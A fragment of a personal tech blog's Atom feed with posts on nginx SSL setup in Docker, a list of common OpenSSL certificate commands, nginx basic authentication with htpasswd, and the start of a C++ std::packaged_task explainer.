COPY nginx.conf &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;conf.d&amp;#x2F;default.conf
COPY ssl &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用以下命令构建Docker镜像：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker build -t mynginx .
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上命令将使用上一步创建的Dockerfile构建一个名为&lt;code&gt;mynginx&lt;&#x2F;code&gt;的镜像。&lt;&#x2F;p&gt;
&lt;p&gt;最后，我们可以使用以下命令启动Nginx容器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker run -d -p 443:443 mynginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上命令将启动一个名为&lt;code&gt;mynginx&lt;&#x2F;code&gt;的容器，并将宿主机的443端口映射到容器的443端口。&lt;&#x2F;p&gt;
&lt;p&gt;现在，你的Nginx容器已经成功启动，并且已经输入了证书密码。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tong-guo-ying-she-mu-lu-qi-dong-nginxde-ssl&quot;&gt;通过映射目录启动nginx的ssl&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 启动镜像获取默认nginx配置
docker run -d -p 80:80 -p 443:443 --name nginx nginx
# docker cp nginx:&amp;#x2F;etc&amp;#x2F;nginx &amp;#x2F;opt&amp;#x2F;nginx
docker rm -f nginx
docker run -d -p 80:80 -p 443:443 --name nginx -v &amp;#x2F;opt&amp;#x2F;nginx:&amp;#x2F;etc&amp;#x2F;nginx nginx

mkdir &amp;#x2F;opt&amp;#x2F;nginx&amp;#x2F;ssl &amp;amp;&amp;amp; cd &amp;#x2F;opt&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout nginx.key -out nginx.crt
# 如果你想要为私钥设置密码保护，可以执行以下命令：
openssl rsa -des3 -in nginx.key -out nginx.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改nginx.conf 配置, 添加http service&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;http {
  server {
    listen 443 ssl;
    server_name youdomain.com;
    ssl_certificate &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.crt;
    ssl_certificate_key &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.key;
    location {
      root &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;nginx&amp;#x2F;html;
      index index.html index.htm;
      proxy_pass http:&amp;#x2F;&amp;#x2F;192.168.2.23:9090
    }
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The Most Common OpenSSL Commands</title>
        <published>2023-12-30T00:00:00+00:00</published>
        <updated>2023-12-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/the-most-common-openssl-commands/"/>
        <id>https://vercel.juzhong.asia/obsidian/the-most-common-openssl-commands/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/the-most-common-openssl-commands/">&lt;h1 id=&quot;the-most-common-openssl-commands&quot;&gt;The Most Common OpenSSL Commands&lt;&#x2F;h1&gt;
&lt;p&gt;One of the most versatile SSL tools is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.openssl.org&#x2F;&quot;&gt;OpenSSL&lt;&#x2F;a&gt; which is an open source implementation of the SSL protocol. There are versions of OpenSSL for nearly every platform, including &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.slproweb.com&#x2F;products&#x2F;Win32OpenSSL.html&quot;&gt;Windows&lt;&#x2F;a&gt;, Linux, and Mac OS X. OpenSSL is commonly used to create the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sslshopper.com&#x2F;what-is-a-csr-certificate-signing-request.html&quot;&gt;CSR&lt;&#x2F;a&gt; and private key for many different platforms, including Apache. However, it also has hundreds of different functions that allow you to view the details of a CSR or certificate, compare an MD5 hash of the certificate and private key (to make sure they match), verify that a certificate is installed properly on any website, and convert the certificate to a different format. A compiled version of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.slproweb.com&#x2F;products&#x2F;Win32OpenSSL.html&quot;&gt;OpenSSL for Windows can be found here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If you don&#x27;t want to bother with OpenSSL, you can do many of the same things with our &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sslshopper.com&#x2F;ssl-certificate-tools.html&quot;&gt;SSL Certificate Tools&lt;&#x2F;a&gt;. Below, we have listed the most common OpenSSL commands and their usage:&lt;&#x2F;p&gt;
&lt;h2 id=&quot;general-openssl-commands&quot;&gt;General OpenSSL Commands&lt;&#x2F;h2&gt;
&lt;p&gt;These commands allow you to generate CSRs, Certificates, Private Keys and do other miscellaneous tasks.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generate a new private key and Certificate Signing Request&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generate a self-signed certificate (see&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sslshopper.com&#x2F;article-how-to-create-and-install-an-apache-self-signed-certificate.html&quot;&gt;How to Create and Install an Apache Self Signed Certificate&lt;&#x2F;a&gt;** ** for more info)**&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout privateKey.key -out certificate.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generate a certificate signing request (CSR) for an existing private key&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl req -out CSR.csr -key privateKey.key -new
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generate a certificate signing request based on an existing certificate&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 -x509toreq -in certificate.crt -out CSR.csr -signkey privateKey.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Remove a passphrase from a private key&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa -in privateKey.pem -out newPrivateKey.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;checking-using-openssl&quot;&gt;Checking Using OpenSSL&lt;&#x2F;h2&gt;
&lt;p&gt;If you need to check the information within a Certificate, CSR or Private Key, use these commands. You can also &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sslshopper.com&#x2F;csr-decoder.html&quot;&gt;check CSRs&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sslshopper.com&#x2F;certificate-decoder.html&quot;&gt;check certificates&lt;&#x2F;a&gt; using our online tools.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check a Certificate Signing Request (CSR)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl req -text -noout -verify -in CSR.csr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check a private key&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl rsa -in privateKey.key -check
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check a certificate&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 -in certificate.crt -text -noout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check a PKCS#12 file (.pfx or .p12)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl pkcs12 -info -in keyStore.p12
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;debugging-using-openssl&quot;&gt;Debugging Using OpenSSL&lt;&#x2F;h2&gt;
&lt;p&gt;If you are receiving an error that the private doesn&#x27;t match the certificate or that a certificate that you installed to a site is not trusted, try one of these commands. If you are trying to verify that an SSL certificate is installed correctly, be sure to check out the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sslshopper.com&#x2F;ssl-checker.html&quot;&gt;SSL Checker&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check an MD5 hash of the public key to ensure that it matches with what is in a CSR or private key&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 -noout -modulus -in certificate.crt | openssl md5
openssl rsa -noout -modulus -in privateKey.key | openssl md5
openssl req -noout -modulus -in CSR.csr | openssl md5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check an SSL connection. All the certificates (including Intermediates) should be displayed&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl s_client -connect www.paypal.com:443
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;converting-using-openssl&quot;&gt;Converting Using OpenSSL&lt;&#x2F;h2&gt;
&lt;p&gt;These commands allow you to convert certificates and keys to different formats to make them compatible with specific types of servers or software. For example, you can convert a normal PEM file that would work with Apache to a PFX (PKCS#12) file and use it with Tomcat or IIS. Use our &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sslshopper.com&#x2F;ssl-converter.html&quot;&gt;SSL Converter to convert certificates&lt;&#x2F;a&gt; without messing with OpenSSL.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert a DER file (.crt .cer .der) to PEM&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 -inform der -in certificate.cer -out certificate.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert a PEM file to DER&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl x509 -outform der -in certificate.pem -out certificate.der
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert a PKCS#12 file (.pfx .p12) containing a private key and certificates to PEM&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl pkcs12 -in keyStore.pfx -out keyStore.pem -nodes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can add -nocerts to only output the private key or add -nokeys to only output the certificates.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert a PEM certificate file and a private key to PKCS#12 (.pfx .p12)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Nginx如何设置用户登录验证</title>
        <published>2023-12-28T00:00:00+00:00</published>
        <updated>2023-12-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/nginx如何设置用户登录验证/"/>
        <id>https://vercel.juzhong.asia/obsidian/nginx如何设置用户登录验证/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/nginx如何设置用户登录验证/">&lt;h1 id=&quot;nginxru-he-she-zhi-yong-hu-deng-lu-yan-zheng&quot;&gt;Nginx如何设置用户登录验证&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;nginxkai-qi-fang-wen-yan-zheng&quot;&gt;&lt;strong&gt;nginx开启访问验证&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;使用nginx搭建的网站，如果不想让所有用户都能正常访问，那么可以设置访问认证，只有用户输入正确的用户名和密码才能正常访问。&lt;&#x2F;p&gt;
&lt;p&gt;在nginx下，提供了ngx_http_auth_basic_module模块，实现让用户只有输入正确的用户名密码才允许访问WEB内容。&lt;&#x2F;p&gt;
&lt;p&gt;默认情况下，nginx已经安装了该模块。所以整体的一个过程就是先用第三方工具（ htpasswd，或者使用openssl）设置用户名、密码（其中密码已经加过密），然后保存到文件中，然后在nginx配置文件中根据之前事先保存的文件开启访问验证。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-htpasswdwei-li&quot;&gt;&lt;strong&gt;以htpasswd为例&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;安装htpasswd工具&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;yum -y install nginx    #安装nginx
yum -y install httpd-tools    #安装httpd-tools
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;设置指定用户及密码&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;cd &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;
touch .passwd    #创建生成密码的文件
htpasswd -c &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;.passwd Nihao    #设置用户名和密码，并把用户名、密码保存到指定文件中

New password:
Re-type new password:
Adding password for user Nihao
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：上面的 &#x2F;etc&#x2F;nginx&#x2F;.passwd 是生成密码文件的路径，然后Nihao是用户名，你可以根据需要自行设置成其它用户名。运行命令后，会要求你连续输入两次密码。输入成功后，会提示已经为Nihao这个用户添加了密码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;cat .passwd    #查看生成的密码文件的内容
Nihao:$apr1$Lna.yg7m$n6g9180iZQP7GXJ447CE0&amp;#x2F;    #用户名Nihao，冒号后面是密码（已经加密）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;修改nginx配置文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;vim nginx.conf    #在第一个server模块下添加
##########
location &amp;#x2F; {
        auth_basic &amp;quot;Please input password&amp;quot;;
        auth_basic_user_file &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;.passwd;
        }
##########

nginx -t    #检查配置文件是否有误
systemctl restart nginx    #重启nginx
firewall-cmd --add-port=80&amp;#x2F;tcp    #添加防火墙端口
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;4、浏览器访问验证&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;会出现提示要身份验证&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htpasswdming-ling&quot;&gt;&lt;strong&gt;htpasswd命令&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;xuan-xiang-can-shu&quot;&gt;&lt;strong&gt;选项参数&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;「htpasswd [ -c ] [ -i ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -D ] [ -v ] passwdfile username」&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;「htpasswd -b [ -c ] [ -m | -B | -d | -s | -p ] [ -C cost ] [ -D ] [ -v ] passwdfile username password」&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;「htpasswd -n [ -i ] [ -m | -B | -d | -s | -p ] [ -C cost ] username」&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;「htpasswd -nb [ -m | -B | -d | -s | -p ] [ -C cost ] username password」&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;htpasswdming-ling-xuan-xiang-can-shu-shuo-ming&quot;&gt;&lt;strong&gt;htpasswd命令选项参数说明：&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;-c 创建一个加密文件&lt;&#x2F;p&gt;
&lt;p&gt;-n 不更新加密文件，只将htpasswd命令加密后的用户名，密码显示在屏幕上&lt;&#x2F;p&gt;
&lt;p&gt;-m 默认htpassswd命令采用MD5算法对密码进行加密&lt;&#x2F;p&gt;
&lt;p&gt;-d htpassswd命令采用CRYPT算法对密码进行加密&lt;&#x2F;p&gt;
&lt;p&gt;-p htpassswd命令不对密码进行进行加密，即明文密码&lt;&#x2F;p&gt;
&lt;p&gt;-s htpassswd命令采用SHA算法对密码进行加密&lt;&#x2F;p&gt;
&lt;p&gt;-b htpassswd命令行中一并输入用户名和密码而不是根据提示输入密码&lt;&#x2F;p&gt;
&lt;p&gt;-D 删除指定的用户&lt;&#x2F;p&gt;
&lt;h3 id=&quot;htpasswdli-zi&quot;&gt;&lt;strong&gt;htpasswd例子&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;（1）用htpasswd命令添加用户&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;htpasswd -bc .passwd ren001 123    #在当前目录下生成一个.passwd文件，用户名ren001，密码：123，默认采用MD5加密方式
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（2）在原有密码文件中增加下一个用户&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;htpasswd -b .passwd ren002 456

cat .passwd
ren001:$apr1$Ln1ZsyVn$2hn3VFqP0L5tNA1UCSU8F.
ren002:$apr1$hCiMb9jc$Z.m7ZgOBCj0ISeIieTaVy&amp;#x2F;    #去掉c选项，即可在第一个用户之后添加第二个用户，依此类推
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（3）不更新密码文件，只显示加密后的用户名和密码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;htpasswd -nb ren002 456
ren002:$apr1$DT53A20W$YRS7p4j.1Wum9q0kG3OQv.    #不更新.passwd文件，只在屏幕上输出用户名和经过加密后的密码
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（4）用htpasswd命令删除用户名和密码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;htpasswd -D .passwd ren002
Deleting password for user ren002

cat .passwd
ren001:$apr1$Ln1ZsyVn$2hn3VFqP0L5tNA1UCSU8F.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（5）用 htpasswd 命令修改密码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;htpasswd -D .passwd ren001
Deleting password for user ren001

htpasswd -b .passwd ren001 123456
Adding password for user ren001
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>std::packaged_task 源码级详解</title>
        <published>2023-12-27T00:00:00+00:00</published>
        <updated>2023-12-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/std-packaged_task-源码级详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/std-packaged_task-源码级详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/std-packaged_task-源码级详解/">&lt;h1 id=&quot;std-packaged-task-yuan-ma-ji-xiang-jie&quot;&gt;std::packaged_task 源码级详解&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;packaged_task&lt;&#x2F;code&gt;，故名思义打包任务，是用来进行任务封装的，即将任务封装起来，将任务封装起来的目的是为了进行线程之间的传递，进行任务的异步处理&lt;&#x2F;p&gt;
&lt;p&gt;下面我们先看一下&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;thread&#x2F;packaged_task&quot;&gt;CPP Reference&lt;&#x2F;a&gt;网站，看看对&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对此的描述&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-3140f0b3a127615e30edb8fe5d23d26d_b-20231227143335-f40ckln.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;code&gt;std::packaged_task&lt;&#x2F;code&gt;类模版可以用来包装任何可调用目标（函数、&lt;code&gt;labmbda&lt;&#x2F;code&gt;表达式、&lt;code&gt;bind&lt;&#x2F;code&gt;表达式或者其他函数对象），其可以被异步调用。其调用完成之后返回执行结果的值或者执行过程中抛出的异常，这个值或者异常保存在一个共享状态中，可以通过其关联的&lt;code&gt;std::future&lt;&#x2F;code&gt;对象来进行获取&lt;&#x2F;p&gt;
&lt;p&gt;像&lt;code&gt;std::function&lt;&#x2F;code&gt;一样，&lt;code&gt;std::packaged_task&lt;&#x2F;code&gt;是一个多态的，能够感知内存分配的容器：这个被&lt;code&gt;std::packaged_task&lt;&#x2F;code&gt;存储的可调用目标可以被分配到堆上，也可以通过提供的内存分配器进行来定义存储方式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;std::future&lt;&#x2F;code&gt;，顾名思义是一个用来获取未来的值的对象，通过该对象就可以获取异步调用在未来执行完成之后返回的结果信息。如果之前没有了解，建议了解一下，因为&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的实现，使用到了&lt;code&gt;promise&lt;&#x2F;code&gt;和&lt;code&gt;future&lt;&#x2F;code&gt;这两个模版类，下面的讨论需要这两个模版类的知识并且限于篇幅，不会对这两个模版类进行展开讨论，具体可以参考如下文章&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-28849aa5bc7f67f5fae600809ccfd208_180x120-20231227143335-jx982yo.jpg&lt;&#x2F;code&gt;，已移除）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;672327290&quot;&gt;孙梓轩：std::future和std::promise详解(原理、应用、源码）&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;672327290&quot;&gt;11 赞同 · 0 评论&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;672327290&quot;&gt;文章&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;下面，我们通过一个示例，来看一下&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的使用和作用&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-li&quot;&gt;&lt;strong&gt;示例&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;我们将通过&lt;code&gt;lambda&lt;&#x2F;code&gt;和&lt;code&gt;function&lt;&#x2F;code&gt;来构建两个被&lt;code&gt;packaged_task&lt;&#x2F;code&gt;可调用对象，并且将这两个可调用对象交给两个线程来进行执行。并在主线程中通过&lt;code&gt;std::future&lt;&#x2F;code&gt;来进行执行结果的获取，代码如下&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-69543c4b3d2efe282105c6cd4a45cb33_b-20231227143335-wbdtqoc.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;代码行&lt;code&gt;1~5&lt;&#x2F;code&gt;：创建了一个内部抛出异常的函数，用来测试&lt;code&gt;packaged_task&lt;&#x2F;code&gt;关于异常的传递&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;10~15&lt;&#x2F;code&gt;：创建了一个用于对容器内元素进行求值的&lt;code&gt;labmda&lt;&#x2F;code&gt;表达式对象，然后将这个对象包装成&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象，最后将这个对象交给&lt;code&gt;std::thread&lt;&#x2F;code&gt;类型的线程对象来执行，该线程对象创建完成之后，就会在内部创建一个线程，然后启动这个线程开始执行传入的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象。在代码行&lt;code&gt;14&lt;&#x2F;code&gt;通过调用&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象的&lt;code&gt;get_future&lt;&#x2F;code&gt;成员函数，来获取用于访问异步调用结果信息的&lt;code&gt;future&lt;&#x2F;code&gt;对象&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;17~19&lt;&#x2F;code&gt;：将代码行&lt;code&gt;1~5&lt;&#x2F;code&gt;中定义的内部抛出异常的函数，包装成&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象，然后将这个对象交给一个&lt;code&gt;std::thread&lt;&#x2F;code&gt;对象来进行异步调用执行（在内部创建的新的线程中进行执行）。在代码行&lt;code&gt;14&lt;&#x2F;code&gt;通过调用&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象的&lt;code&gt;get_future&lt;&#x2F;code&gt;成员函数，来获取用于访问异步调用结果信息的&lt;code&gt;future&lt;&#x2F;code&gt;对象&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;21&lt;&#x2F;code&gt;：通过调用&lt;code&gt;future&lt;&#x2F;code&gt;对象的内部成员函数&lt;code&gt;get&lt;&#x2F;code&gt;来获取上面通过&lt;code&gt;lambda&lt;&#x2F;code&gt;对象创建的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象异步执行的结果，即函数的返回值&lt;&#x2F;li&gt;
